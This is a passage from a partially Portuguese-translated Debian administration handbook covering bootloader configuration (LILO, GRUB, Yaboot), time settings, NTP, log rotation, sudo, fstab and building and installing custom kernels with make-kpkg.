lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1

[...]

mirexpress:/dev/disk/by-id#

Note that some disks are listed severaltimes (because they behavesimultaneously as ATA disks and SCSIdisks), but the relevant information ismainly in the model and serial numbersof the disks, from which you can findthe peripheral file.

The example configuration files givenin the following sections are based onthe same setup: a single master IDEdisk, where the first partition is an oldWindows installation and the secondcontains Debian GNU/Linux.

8.8.2. Configurando oLILOLILO (LInux LOader) is the oldestbootloader — solid but rustic. It writesthe physical address of the kernel toboot on the MBR, which is why eachupdate to LILO (or its configurationfile) must be followed by the commandlilo. Forgetting to do so will render asystem unable to boot if the old kernelwas removed or replaced as the newone will not be in the same location onthe disk.

LILO's configuration file is

/etc/lilo.conf; a simple file forstandard configuration is illustrated inthe example below.

Example 8.3. LILO arquivo deconfiguração

# The disk on which LILO should be installed.

# By indicating the disk and not a partition.

# you order LILO to be installed on the MBR.

boot=/dev/sda

# the partition that contains Debian

root=/dev/sda2

# the item to be loaded by default

default=Linux

# the most recent kernel image

image=/vmlinuz

label=Linux

initrd=/initrd.img

read-only

# Old kernel (if the newly installed kernel doesn't boot)

image=/vmlinuz.old

label=LinuxOLD

initrd=/initrd.img.old

read-only

optional

# only for Linux/Windows dual boot

other=/dev/sda1

label=Windows

8.8.3. Configuração doGRUB 2GRUB (GRand Unified Bootloader) ismore recent. It is not necessary toinvoke it after each update of the

kernel; GRUB knows how to read thefilesystems and find the position of thekernel on the disk by itself. To install iton the MBR of the first disk, simplytype grub-install /dev/sda.

NOTA GRUB e GRUB 2

Squeeze contains both GRUB version 2and version 1 (also called “GRUBLegacy”). The grub package installsversion 2 (through the packagedependency system), and offers automaticmigration during upgrades from Lenny.GRUB 1 is still available in the packagegrub-legacy.

NOTA Nomes dos discos para o GRUB

GRUB can only identify hard drivesbased on information provided by theBIOS. (hd0) corresponds to the first diskthus detected, (hd1) the second, etc. Inmost cases, this order corresponds exactlyto the usual order of disks under Linux,but problems can occur when youassociate SCSI and IDE disks. GRUBstores correspondences that it detects inthe file /boot/grub/device.map. If youfind errors there (because you know thatyour BIOS detects drives in a differentorder), correct them manually and rungrub-install again.

Partitions also have a specific name inGRUB. When you use “classical”partitions in MS-DOS format, the firstpartition on the first disk is labeled,(hd0,msdos1), the second (hd0,msdos2),etc.

GRUB 2 configuration is stored in/boot/grub/grub.cfg, but this file (inDebian) is generated from others. Becareful not to modify it by hand, sincesuch local modifications will be lostthe next time update-grub is run(which may occur upon update ofvarious packages). The most commonmodifications of the/boot/grub/grub.cfg file (to addcommand line parameters to the kernelor change the duration that the menu isdisplayed, for example) are madethrough the variables in/etc/default/grub. To add entries tothe menu, you can either create a/boot/grub/custom.cfg file or

modify the /etc/grub.d/50_customfile. For more complex configurations,you can modify other files in/etc/grub.d, or add to them; thesescripts should return configurationsnippets, possibly by making use ofexternal programs. These scripts arethe ones that will update the list ofkernels to boot: 10_linux takes intoconsideration the installed Linuxkernels; 20_linux takes into accountXen virtual systems, and 30_os-prober lists other operating systems(Windows, Mac OSX, Hurd).

8.8.4. Configuração doGRUB Legacy

Version 1 of GRUB can also readfilesystems. It is installed using thegrub-install /dev/sda command.

NOTA Nomes de disco para o GRUBLegacy

GRUB Legacy uses the same system fornaming disks as GRUB 2, and the same/boot/grub/device.map file. On the otherhand, it names partitions a littledifferently: the first partition on the firstdisk is labeled (hd0,0), the second(hd0,1), etc.

O arquivo de configuração do GRUB é/boot/grub/menu.lst (veja exemplo).

Example 8.4. Arquivo deconfiguração para o GRUB

# Boot automatically after 30 seconds

timeout 30

# Boot first entry by default

default 0

# If that fails, try the second

fallback 1

# Last kernel installed

title GNU/Linux

root (hd0,1)

kernel /vmlinuz root=/dev/sda2

initrd /initrd.img

# Old kernel (if the most recent doesn't boot)

title GNU/Linux OLD

root (hd0,1)

kernel /vmlinuz.old root=/dev/sda2

initrd /initrd.img.old

# Only for dual boot, Linux/Windows

title Microsoft Windows

rootnoverify (hd0,0)

makeactive

chainloader +1

8.8.5. ParaComputadoresMacintosh(PowerPC):Configurando YabootYaboot is the bootloader used by oldMacintosh computers using PowerPCprocessors. They do not boot like PCs,

but rely on a “bootstrap” partition,from which the BIOS (orOpenFirmware) executes the loader,and on which the ybin program installsyaboot and its configuration file. Youwill only need to run this commandagain if the /etc/yaboot.conf ismodified (it is duplicated on thebootstrap partition, and yaboot knowshow to find the position of the kernelson the disks).

Before executing ybin, you must firsthave a valid /etc/yaboot.conf. Thefollowing is an example of a minimalconfiguration.

Example 8.5. Arquivo de

configuração Yaboot

# bootstrap partition

boot=/dev/sda2

# the disk

device=hd:

# the Linux partition

partition=3

root=/dev/sda3

# boot after 3 seconds of inactivity

# (timeout is in tenths of seconds)

timeout=30

install=/usr/lib/yaboot/yaboot

magicboot=/usr/lib/yaboot/ofboot

enablecdboot

# last kernel installed

image=/vmlinux

label=linux

initrd=/initrd.img

read-only

# old kernel

image=/vmlinux.old

label=old

initrd=/initrd.img.old

read-only

# only for Linux/Mac OSX dual-boot

macosx=/dev/sda5

# bsd=/dev/sdaX and macos=/dev/sdaX

# are also possible

8.9. OtherConfigurations:TimeSynchronization,Logs, SharingAccess...The many elements listed in thissection are good to know for anyonewho wants to master all aspects ofconfiguration of the GNU/Linuxsystem. They are, however, treated

briefly and frequently refer to thedocumentation.

8.9.1. Região

DE VOLTA AO BÁSICO Linkssimbólicos

A symbolic link is a pointer to anotherfile. When you access it, the file to whichit points is opened. Removal of the linkwill not cause deletion of the file to whichit points. Likewise, it does not have itsown set of permissions, but rather retainsthe permissions of its target. Finally, itcan point to any type of file: directories,special files (sockets, named pipes,device files, etc.), even other symboliclinks.

The ln -s target link-name commandcreates a symbolic link, named link-name,pointing to target.

If the target does not exist, then the link is“broken” and accessing it will result in anerror indicating that the target file doesnot exist. If the link points to another link,you will have a “chain” of links that turnsinto a “cycle” if one of the targets pointsto one of its predecessors. In this case,accessing one of the links in the cyclewill result in a specific error (“too manylevels of symbolic links”); this means thekernel gave up after several rounds of thecycle.

The timezone, configured during initialinstallation, is a configuration item for

the tzdata package. To modify it, usethe dpkg-reconfigure tzdatacommand, which allows you to choosethe timezone to be used in aninteractive manner (until lenny, thecommand to use was tzconfig). Itsconfiguration is stored in the/etc/timezone file. Additionally, thecorresponding file in the/usr/share/zoneinfo directory iscopied in /etc/localtime; this filecontains the rules governing the dateswhere daylight saving time is active,for countries that use it.

When you need to temporarily changethe timezone, use the TZ environmentvariable, which takes priority over the

configured system default:

$ date

Wed Mar 28 15:51:19 CEST 2012

$ TZ="Pacific/Honolulu" date

Wed Mar 28 03:51:21 HST 2012

NOTA Relógio do sistema, relógio dehardware

There are two time sources in a computer.A computer's motherboard has a hardwareclock, called the “CMOS clock”. Thisclock is not very precise, and providesrather slow access times. The operatingsystem kernel has its own, the softwareclock, which it keeps up to date with itsown means (possibly with the help of timeservers, see the “Time Synchronization”section). This system clock is generally

more accurate, especially since it doesn'tneed access to hardware variables.However, since it only exists in livememory, it is zeroed out every time themachine is booted, contrary to the CMOSclock, which has a battery and therefore“survives” rebooting or halting of themachine. The system clock is, thus, setfrom the CMOS clock during boot, andthe CMOS clock is updated on shutdown(to take into account possible changes orcorrections if it has been improperlyadjusted).

In practice, there is a problem, since theCMOS clock is nothing more than acounter and contains no informationregarding the time zone. There is a choiceto make regarding its interpretation:either the system considers it runs inuniversal time (UTC, formerly GMT), or

in local time. This choice could be asimple shift, but things are actually morecomplicated: as a result of daylightsaving time, this offset is not constant.The result is that the system has no way todetermine whether the offset is correct,especially around periods of time change.Since it is always possible to reconstructlocal time from universal time and thetimezone information, we stronglyrecommend using the CMOS clock inuniversal time.

Unfortunately, Windows systems in theirdefault configuration ignore thisrecommendation; they keep the CMOSclock on local time, applying timechanges when booting the computer bytrying to guess during time changes if thechange has already been applied or not.This works relatively well, as long as the

system has only Windows running on it.But when a computer has several systems(whether it be a “dual-boot”configuration or running other systemsvia virtual machine), chaos ensues, withno means to determine if the time iscorrect. If you absolutely must retainWindows on a computer, you shouldeither configure it to keep the CMOSclock as UTC, or deactivate UTC in the/etc/default/rcS file on the Debiansystem (and make sure to manually checkyour clock in spring and autumn).

8.9.2. Sincronizaçãode Tempo

Time synchronization, which mayseem superfluous on a computer, isvery important on a network. Sinceusers do not have permissions allowingthem to modify the date and time, it isimportant for this information to beprecise to prevent confusion.Furthermore, having all of thecomputers on a network synchronizedallows better cross-referencing ofinformation from logs on differentmachines. Thus, in the event of anattack, it is easier to reconstruct thechronological sequence of actions onthe various machines involved in thecompromise. Data collected on severalmachines for statistical purposes won'tmake a great deal of sense if they are

not synchronized.

DE VOLTA AO BÁSICO NTP

NTP (Network Time Protocol) allows amachine to synchronize with others fairlyaccurately, taking into consideration thedelays induced by the transfer ofinformation over the network and otherpossible offsets.

While there are numerous NTP servers onthe Internet, the more popular ones maybe overloaded. This is why werecommend using the pool.ntp.org NTPserver, which is, in reality, a group ofmachines that have agreed to serve aspublic NTP servers. You could even limituse to a sub-group specific to a country,with, for example, us.pool.ntp.org for theUnited States, or ca.pool.ntp.org for

Canada, etc.

However, if you manage a large network,it is recommended that you install yourown NTP server, which will synchronizewith the public servers. In this case, allthe other machines on your network canuse your internal NTP server instead ofincreasing the load on the public servers.You will also increase homogeneity withyour clocks, since all the machines will besynchronized on the same source, and thissource is very close in terms of networktransfer times.

8.9.2.1. Para Estações deTrabalho

Since work stations are regularlyrebooted (even if only to save energy),synchronizing them by NTP at boot isenough. To do so, simply install thentpdate package. You can change theNTP server used if needed bymodifying the /etc/default/ntpdatefile.

8.9.2.2. Para Servidores

Servers are only rarely rebooted, and itis very important for their system timeto be correct. To permanently maintaincorrect time, you would install a localNTP server, a service offered in the ntppackage. In its default configuration,the server will synchronize with

pool.ntp.org and provide time inresponse to requests coming from thelocal network. You can configure it byediting the /etc/ntp.conf file, themost significant alteration being theNTP server to which it refers. If thenetwork has a lot of servers, it may beinteresting to have one local timeserver which synchronizes with thepublic servers and is used as a timesource by the other servers of thenetwork.

APROFUNDANDO Módulos GPS eoutros recursos de tempo

If time synchronization is particularlycrucial to your network, it is possible toequip a server with a GPS module (which

will use the time from GPS satellites) or aDCF-77 module (which will sync timewith the atomic clock near Frankfurt,Germany). In this case, the configurationof the NTP server is a little morecomplicated, and prior consultation of thedocumentation is an absolute necessity.

8.9.3. Rotação deArquivos de LogLog files can grow, fast, and it isnecessary to archive them. The mostcommon scheme is a rotating archive:the log file is regularly archived, andonly the latest X archives are retained.

logrotate, the program responsible forthese rotations, follows directivesgiven in the /etc/logrotate.conffile and all of the files in the/etc/logrotate.d/ directory. Theadministrator may modify these files,if they wish to adapt the log rotationpolicy defined by Debian. Thelogrotate(1) man page describes all ofthe options available in theseconfiguration files. You may want toincrease the number of files retained inlog rotation, or move the log files to aspecific directory dedicated toarchiving them rather than delete them.You could also send them by e-mail toarchive them elsewhere.

O programa logrotate é executadodiariamente pelo agendador decomandos cron (descrito emSection 9.7, “Agendando Tarefas comcron e atd”).

8.9.4. CompartilhandoDireitosAdministrativosFrequently, several administratorswork on the same network. Sharing theroot passwords is not very elegant, andopens the door for abuse due to theanonymity such sharing creates. Thesolution to this problem is the sudo

program, which allows certain users toexecute certain commands with specialrights. In the most common use case,sudo allows a trusted user to executeany command as root. To do so, theuser simply executes sudo commandand authenticates using their personalpassword.

When installed, the sudo packagedoesn't give anyone any rights. Todelegate such rights, the administratormust use the visudo command, whichallows them to modify the/etc/sudoers configuration file (hereagain, this will invoke the vi editor, orany other editor indicated in theEDITOR environment variable). Adding

a line with username ALL=(ALL) ALLallows the user in question to executeany command as root.

More sophisticated configurationsallow authorization of only specificcommands to specific users. All thedetails of the various possibilities aregiven in the sudoers(5) man page.

8.9.5. Lista de Pontosde Montagem

DE VOLTA AO BÁSICO Montando edesmontando

In a Unix-like system such as Debian,

files are organized in a single tree-likehierarchy of directories. The / directory iscalled the “root directory”; all additionaldirectories are sub-directories within thisroot. “Mounting” is the action ofincluding the content of a peripheraldevice (often a hard drive) into thesystem's general file tree. As aconsequence, if you use a separate harddrive to store users' personal data, thisdisk will have to be “mounted” in the/home/ directory. The root filesystem isalways mounted at boot by the kernel;other devices are often mounted laterduring the startup sequence or manuallywith the mount command.

Some removable devices areautomatically mounted when connected,especially when using the GNOME, KDEor other graphical desktop environments.

Others have to be mounted manually bythe user. Likewise, they must beunmounted (removed from the file tree).Normal users do not usually havepermission to execute the mount andumount commands. The administratorcan, however, authorize these operations(independently for each mount point) byincluding the user option in the/etc/fstab file.

The mount command can be used withoutarguments (it then lists all mountedfilesystems). The following parametersare required to mount or unmount adevice. For the complete list, please referto the corresponding man pages,mount(8) and umount(8). For simplecases, the syntax is simple too: forexample, to mount the /dev/sdc1partition, which has an ext3 filesystem,

into the /mnt/tmp/ directory, you wouldsimply run mount -t ext3 /dev/sdc1/mnt/tmp/.

The /etc/fstab file gives a list of allpossible mounts that happen eitherautomatically on boot or manually forremovable storage devices. Each mountpoint is described by a line with severalspace-separated fields:

device to mount: this can be alocal partition (hard drive, CD-ROM) or a remote filesystem(such as NFS).

This field is frequently replacedwith the unique ID of the

filesystem (which you candetermine with blkid device)prefixed with UUID=. This guardsagainst a change in the name ofthe device in the event of additionor removal of disks, or if disks aredetected in a different order.

mount point: this is the locationon the local filesystem where thedevice, remote system, orpartition will be mounted.type: this field defines thefilesystem used on the mounteddevice. ext3, vfat, ntfs,reiserfs, xfs are a fewexamples.

DE VOLTA AO BÁSICO NFS, um

sistema de arquivos de rede

NFS é um sistema de arquivos derede; no Linux, ele permite acessotransparente a arquivos remotos osincluindo no sistema de arquivolocal.

A complete list of knownfilesystems is available in themount(8) man page. The swapspecial value is for swappartitions; the auto special valuetells the mount program toautomatically detect thefilesystem (which is especiallyuseful for disk readers and USBkeys, since each one might have a

different filesystem);

options: there are many of them,depending on the filesystem, andthey are documented in the mountman page. The most common are

rw or ro, meaning,respectively, that the devicewill be mounted withread/write or read-onlypermissions.noauto deactivates automaticmounting on boot.user authorizes all users tomount this filesystem (anoperation which wouldotherwise be restricted to theroot user).

defaults means the group ofdefault options: rw, suid,dev, exec, auto, nouser andasync, each of which can beindividually disabled afterdefaults by adding nosuid,nodev and so on to blocksuid, dev and so on. Addingthe user option reactivates it,since defaults includesnouser.

backup: this field is almost alwaysset to 0. When it is 1, it tells thedump tool that the partitioncontains data that is to be backedup.check order: this last fieldindicates whether the integrity of

the filesystem should be checkedon boot, and in which order thischeck should be executed. If it is0, no check is conducted. The rootfilesystem should have the value1, while other permanentfilesystems get the value 2.

Example 8.6. Exemplo do arquivo/etc/fstab:

# /etc/fstab: static file system information.

#

# <file system> <mount point> <type> <options> <dump> <pass>

proc /proc proc defaults 0 0

# / was on /dev/sda1 during installation

UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1

# swap was on /dev/sda5 during installation

UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw 0 0

/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0

/dev/fd0 /media/floppy auto rw,user,noauto 0 0

arrakis:/shared /shared nfs defaults 0 0

The last entry in this examplecorresponds to a network filesystem(NFS): the /shared/ directory on thearrakis server is mounted at /shared/on the local machine. The format of the/etc/fstab file is documented on thefstab(5) man page.

APROFUNDANDO Montagemautomática

The am-utils package provides the amdauto-mounting utility, able to mountremovable media on demand when a userattempts to access their usual mountpoint. It will unmount these devices whenno process is accessing them any longer.

Other auto-mounting utilities exist, suchas automount in the autofs package.

Note also that GNOME, KDE, and othergraphical desktop environments worktogether with the hal (HardwareAbstraction Layer) system, and canautomatically mount removable mediawhen they are connected.

8.9.6. locate eupdatedbThe locate command can find thelocation of a file when you only knowpart of the name. It sends a resultalmost instantaneously, since it

consults a database that stores thelocation of all the files on the system;this database is updated daily by theupdatedb command (executed by the/etc/cron.daily/find script).

Since anybody can use locate, it isimportant to ensure hidden files are notrevealed to the user. This is why theupdatedb command runs with thelimited permission of the nobody user,which is a classic pattern on Unixsystems for this kind of task.Furthermore, the administrator canconfigure some directories to beskipped by simply listing them in thePRUNEDPATHS variable in/etc/updatedb.conf.

The slocate package goes even further,by replacing the locate command witha more secure version that only returnsthe names of files accessible to the userwho employs it.

8.10. Compilandoo núcleoThe kernels provided by Debianinclude the largest possible number offeatures, as well as the maximum ofdrivers, in order to cover the broadestspectrum of existing hardwareconfigurations. This is why some usersprefer to recompile the kernel in orderto only include what they specificallyneed. There are two reasons for thischoice. First, it may be to optimizememory consumption, since the kernelcode, even if it is never used, occupiesmemory for nothing (and never “goes

down” on the swap space, since it isactual RAM that it uses), which candecrease overall system performance.A locally compiled kernel can alsolimit the risk of security problemssince only a fraction of the kernel codeis compiled and run.

NOTA Atualizações de segurança

If you choose to compile your ownkernel, you must accept theconsequences: Debian can not ensuresecurity updates for your custom kernel.By keeping the kernel provided byDebian, you benefit from updatesprepared by the Debian Project's securityteam.

Recompilation of the kernel is alsonecessary if you want to use certainfeatures that are only available aspatches (and not included in thestandard kernel version).

8.10.1. Introdução ePré-requisitosDebian manages the kernel in the formof a package, which is not how kernelshave traditionally been compiled andinstalled. Specific tools have thereforebeen developed for this purpose. Theyallow easy creation of a Debianpackage from Linux kernel sources,

possibly adding patches along the way.Since the kernel remains under thecontrol of the packaging system, it canthen be removed cleanly, or deployedon several machines. Furthermore, thescripts associated with these packagesautomate the interaction with thebootloader.

To compile a Linux kernel the Debianway, you will need to use the toolsincluded in the kernel-packagepackage. Furthermore, theconfiguration step for the kernelrequires the libncurses5-dev package.Finally, the fakeroot package willenable creation of the Debian packagewithout using administrator's rights.

8.10.2. Pegando osFontesLike anything that can be useful on aDebian system, the Linux kernelsources are available in a package. Toretrieve them, just install the linux-source-version package. The apt-cache search ^linux-source commandlists the various kernel versionspackaged by Debian. The latest versionis available in the Unstabledistribution: you can retrieve themwithout much risk (especially if yourAPT is configured according to theinstructions of Section 6.2.6,“Trabalhando com Distribuições

Diversas”). Note that the source codecontained in these packages does notcorrespond precisely with thatpublished by Linus Torvalds and thekernel developers; like alldistributions, Debian applies a numberof patches. These modificationsinclude patches (some relevant tosecurity problems) that are waiting tobe included in the next version of thekernel, as well as some features thatare specific to Debian (like cramfs, afilesystem specifically for the initrdimage).

CULTURA Nomes dos pacotes do núcleo

Historically, packages containing the

Debian kernel were called kernel-image-*, but they all actually contained a Linuxkernel. Since Debian works with otherkernels (Hurd or FreeBSD, for example),this was confusing. Nowadays, thepackages are called “linux-image-*"; thekernel-image-* packages are now emptyshells and their only purpose is tofacilitate the transition. Source packagesfor the Linux kernel are also called“linux-source-*”. As for packagescontaining patches, the transition is stillin progress so both linux-patch-*packages and kernel-patch-* can still befound. kernel-package remains kernel-package, since it is not specific to Linux(it could, for example, prepare FreeBSDkernel packages).

The remainder of this section focuseson the 2.6.32 version of the Linuxkernel, but the examples can, of course,be adapted to the particular version ofthe kernel that you want.

We assume the linux-source-2.6.32package has been installed. It contains/usr/src/linux-source-

2.6.32.tar.bz2, a compressedarchive of the kernel sources. You mustextract these files in a new directory(not directly under /usr/src/, sincethere is no need for special permissionsto compile a Linux kernel): ~/kernel/is appropriate.

$ mkdir ~/kernel; cd ~/kernel

$ tar -xjf /usr/src/linux-source-2.6.32.tar.bz2

CULTURA Localização dos fontes donúcleo

Traditionally, Linux kernel sources wouldbe placed in /usr/src/linux/ thusrequiring root permissions forcompilation. However, working withadministrator rights should be avoidedwhen not needed. There is a src groupthat allows members to work in thisdirectory, but working in /usr/src/should be avoided nevertheless. Bykeeping the kernel sources in a personaldirectory, you get security on all counts:no files in /usr/ not known to thepackaging system, and no risk ofmisleading programs that read/usr/src/linux when trying to gatherinformation on the used kernel.

8.10.3. Configurandoo NúcleoO próximo passo consiste daconfiguração do núcleo de acordo comsuas necessidades. O procedimentoexato depende dos objetivos.

When recompiling a more recentversion of the kernel (possibly with anadditional patch), the configurationwill most likely be kept as close aspossible to that proposed by Debian. Inthis case, and rather than reconfiguringeverything from scratch, it is sufficient

to copy the /boot/config-versionfile (the version is that of the kernelcurrently used, which can be foundwith the uname -r command) into a.config file in the directorycontaining the kernel sources.

$ cp /boot/config-2.6.32-5-686 ~/kernel/linux-source-2.6.32/.config

Unless you need to change theconfiguration, you can stop here andskip to the next section. If you need tochange it, on the other hand, or if youdecide to reconfigure everything fromscratch, you must take the time toconfigure your kernel. There arevarious dedicated interfaces in thekernel source directory that can be used

by calling the make target command,where target is one of the valuesdescribed below.

make menuconfig compiles andexecutes a text-mode interface (this iswhere the libncurses5-dev package isrequired) which allows navigating theoptions available in a hierarchicalstructure. Pressing the Space keychanges the value of the selectedoption, and Enter validates the buttonselected at the bottom of the screen;Select returns to the selected sub-menu; Exit closes the current screenand move back up in the hierarchy;Help will display more detailedinformation on the role of the selected

option. The arrows allow movingwithin the list of options and buttons.To exit the configuration program,choose Exit from the main menu. Theprogram then offers to save thechanges you've made; accept if you aresatisfied with your choices.

Other interfaces have similar features,but they work within more moderngraphical interfaces; such as makexconfig which uses a Qt graphicalinterface, and make gconfig whichuses GTK+. The former requireslibqt3-mt-dev, while the latter dependson libglade2-dev and libgtk2.0-dev.

The make-kpkg command, presented

in the next paragraph, runs makeoldconfig automatically to ensure thepresence of a kernel configuration.This configuration method simplyreuses the choices saved in the.config file. If there is no such file, itbehaves like make config, a textinterface that asks all questions(hundreds of them) one a time. If the.config file already exists but doesn'tmention all the existing options, thenthis method will only ask questions forwhich the file has no saved answer.

DICA make-kpkg --config

make-kpkg can be told to useconfiguration methods other than makeoldconfig, by indicating the target

(menuconfig, xconfig or gconfig) in themake-kpkg invocation with the --configoption.

8.10.4. Compilando eConstruindo umPacote

NOTA Limpar antes de construir

If you have already compiled once in thedirectory and wish to recompile with newsources, you must run fakeroot make-kpkg clean. Additionally, this allowsgenerating a package with a new name(different --append-to-version setting).

DICA Pacote de cabeçalhos do núcleo

make-kpkg uses information contained inthe /etc/kernel-pkg.conf file to generateheaders for the Debian kernel package. Itis recommended to edit this file withcorrect information if you wish to publishyour kernel package.

Once the kernel configuration is ready,the make-kpkg command provided byDebian compiles the kernel, thengenerates the corresponding Debianpackage (or packages). Just like make,make-kpkg takes the name of a targetto execute as an argument: kernel-

image generates a compiled kernelpackage, kernel-doc a packagecontaining the documentation includedwith the kernel, kernel-headers apackage of kernel header files (.h filesfor the kernel in the include/directory, which is useful forcompilation of some externalmodules), and kernel-source createsa package containing the kernelsources.

make-kpkg also accepts severalparameters: --append-to-versionsuffix appends suffix to the name ofthe kernel; the suffix is also included inthe package name. --revisionrevision defines the version number

of the package generated. Debian usescertain suffixes to identify standardkernels, compiled specifically for agiven processor, or with certain options(-486, -686, -686-bigmem, -amd64, -vserver-686, -vserver-686-bigmem,-openvz-686, -xen-686). Thesesuffixes are best avoided for localpackages, so that they can be easilyrecognized from official packagesissued by the Debian project.

The make-kpkg program performsactions normally restricted to the rootuser when creating the Debian package;however, it can be tricked into workingunder a normal user's identity, withfakeroot (see sidebar FERRAMENTA

fakeroot).

$ fakeroot make-kpkg --append-to-version -falcot --revision 1 --initrd kernel-image

[...]

$ ls ../*.deb

../linux-image-2.6.32-falcot_1_i386.deb

Como você pode ver, o pacote é criadocom o nome “linux-image-2.6.32-falcot_1_i386.deb”.

8.10.5. CompilandoMódulos ExternosSome modules are maintained outsideof the official Linux kernel. To usethem, they must be compiled alongside

the matching kernel. A number ofcommon third party modules areprovided by Debian in dedicatedpackages: lustre-source for the Lustrefilesystem, qc-usb-source for thedrivers for some USB webcams(Logitech QuickCam Express), etc.

These external packages are many andvaried and we won't list them all here;the apt-cache search source$command can narrow down the searchfield. However, a complete list isn'tparticularly useful since there is noparticular reason for compilingexternal modules except when youknow you need it. In such cases, thedevice's documentation will typically

detail the specific module(s) it needs tofunction under Linux.

For example, let's look at the qc-usb-source package: after installation, a.tar.gz of the module's sources isstored in /usr/src/. These sourcesmust then be extracted to the workingdirectory:

$ cd ~/kernel/

$ tar xjf /usr/src/qc-usb.tar.bz2

$ ls modules/

qc-usb

NOTA Salvando as configurações

When using the make-kpkg modules-image command, it is important to use the

same --append-to-version setting used inthe previous use of the command(probably make-kpkg kernel-image),since its value affects the name of thedirectory in which the modules areinstalled, which must correspond to thekernel version.

Note that make-kpkg must still beinvoked from the kernel sourcesdirectory, even when compiling externalmodules located in other directories.

The module sources are now located inthe ~/kernel/modules/qc-usb/directory. To compile these modulesand create a Debian package, weinvoke make-kpkg with the modules-image target and indicate the location

of the modules via the MODULE_LOCenvironment variable (without thisvariable, it uses /usr/src/modules/,which won't work in our case). Bydefault, it tries to create the packagesfor all the external modules that youextracted at this location. The --added-modules option allows toexplicitly choose the external modulesto compile. To include more than one,separate them with a comma.

$ export MODULE_LOC=~/kernel/modules

$ cd ~/kernel/linux-source-2.6.32

$ fakeroot make-kpkg --append-to-version -falcot modules-image

[...]

Module /home/roland/kernel/modules/qc-usb processed fine

$ ls ../*.deb

../linux-image-2.6.32-falcot_1_i386.deb

../qc-usb-modules-2.6.32-falcot_0.6.6-7+1_i386.deb

DICA Automatizando o processo

The whole process can be automated withmodule-assistant. This package wasspecifically designed to install therequired tools and packages, compile anexternal module, and install it. Thus, them-a a-i qc-usb-source commandcompiles the driver for the current kerneland installs it on the fly.

The next step in automation is dkms,which automates the process from thetime it is installed; the modules that use it(the *.dkms packages) are automaticallycompiled at the time of installation, forany kernel(s) currently installed; DKMSalso takes into account the installation ofnew kernels, their updates, and removal

of obsolete modules upon deletion of akernel package. This system is morerecent (it didn't exist in Lenny), and it hasnot yet been generalized, but somemodules already use it. For instance,simply installing the virtualbox-ose-dkmspackage ensures that the modulesnecessary for the VirtualBoxvirtualization system are available for allinstalled kernels, with no manualintervention required. It is necessary,however, to install the linux-headers-*package that matches to the installedkernel. The easiest way to do so is toinstall the corresponding meta-package;for instance, if you use linux-images-2.6-686, you would install linux-headers-2.6-686.

8.10.6. Aplicando umPatch ao NúcleoSome features are not included in thestandard kernel due to a lack ofmaturity or to some disagreementbetween the maintainer of the sourcecode and the kernel maintainers. Suchfeatures may be distributed as patchesthat anyone is free to apply to thekernel sources.

Debian distributes some of thesepatches in linux-patch-* or kernel-patch-* packages (for instance, linux-patch-grsecurity2, which tightens some

of the kernel's security policies). Thesepackages install files in the/usr/src/kernel-patches/

directory.

To apply one or more of these installedpatches, use the patch command in thesources directory then startcompilation of the kernel as describedabove.

$ cd ~/kernel/linux-source-2.6.32

$ fakeroot make-kpkg clean

$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-2.1.14-2.6.32.13-201005151340.patch.gz | patch -p1

$ fakeroot make-kpkg --append-to-version -grsec --revision 1 --initrd kernel-image

$ ls ../*.deb

../linux-image-2.6.32-falcot_1_i386.deb

../qc-usb-modules-2.6.32-falcot_0.6.6-7+1_i386.deb

../linux-image-2.6.32-grsec_1_i386.deb

NOTA make-kpkg --added-patches

Until Lenny, make-kpkg was able toapply one or more patches on the flyduring compilation of the kernel, whichallowed replacing the manual patchingand unpatching with a command lineoption (in our example, --added-patchesgrsecurity2). This feature was removedfrom the current version in Squeeze sinceit was too fragile when faced with thehuge variety of possible situations. Insimple cases with a single patch, the patchcan be applied manually; for situationsinvolving complex combinations ofpatches, it is preferable to use a versiontracking system such as Git, which willmake the task easier (especially sincepatches are generally distributed by theirauthors in this form).

Note that a given patch may notnecessarily work with every version ofthe kernel; it is possible for patch tofail when applying them to kernelsources. An error message will bedisplayed and give some details aboutthe failure; in this case, refer to thedocumentation available in the Debianpackage of the patch (in the/usr/share/doc/linux-patch-*/

directory). In most cases, themaintainer indicates for which kernelversions their patch is intended.

8.11. Instalando oNúcleo

8.11.1. Característicasdo Pacote de Núcleodo Debian

APROFUNDANDO Configuraçõesespeciais

This section discusses the defaultbehavior of a Debian Linux kernelpackage, but everything is configurablewith the /etc/kernel-img.conf file.

Consult the associated man page to learnmore: kernel-img.conf(5)

A Debian kernel package installs thekernel image (vmlinuz-version), itsconfiguration (config-version) andits symbols table(System.map-version) in /boot/. Thesymbols table helps developersunderstand the meaning of a kernelerror message; without it, kernel“oopses” (an “oops” is the kernelequivalent of a segmentation fault foruser space programs, in other wordsmessages generated following aninvalid pointer dereference) onlycontain numeric memory addresses,

which is useless information withoutthe table mapping these addresses tosymbols and function names. Themodules are installed in the/lib/modules/version/ directory.

The package's configuration scriptsautomatically generate an initrd image,which is a mini-system designed to beloaded in memory (hence the name,which stands for “init ramdisk”) by thebootloader, and used by the Linuxkernel solely for loading the modulesneeded to access the devices containingthe complete Debian system (forexample, the driver for IDE disks).Finally, the post-installation scriptsupdate the symbolic links /vmlinuz,

/vmlinuz.old, /initrd.img and/initrd.img.old so that they point tothe latest two kernels installed,respectively, as well as thecorresponding initrd images.

lilo can work with these symbolic linksby automatically using the last kernelinstalled, while still allowing themachine to boot from the previouskernel if the last one installed doesn'twork. This requires, however, that lilobe run after each kernel installation.This can be automated, by settingdo_bootloader = yes in/etc/kernel-img.conf.

In most cases, grub will be your

bootloader, and the defaultconfiguration will execute update-grub after each installation or removalof a kernel in order for the/boot/grub/grub.cfg file (or/boot/grub/menu.lst with GRUBLegacy) to be updated. This allows allinstalled kernels to be displayed (andavailable) in the GRUB menu at boottime.

Example 8.7. Kernel packageconfiguration file

do_symlinks = yes

relative_links = yes

do_bootloader = no

do_bootfloppy = no

do_initrd = yes

link_in_boot = no

postinst_hook = update-grub

postrm_hook = update-grub

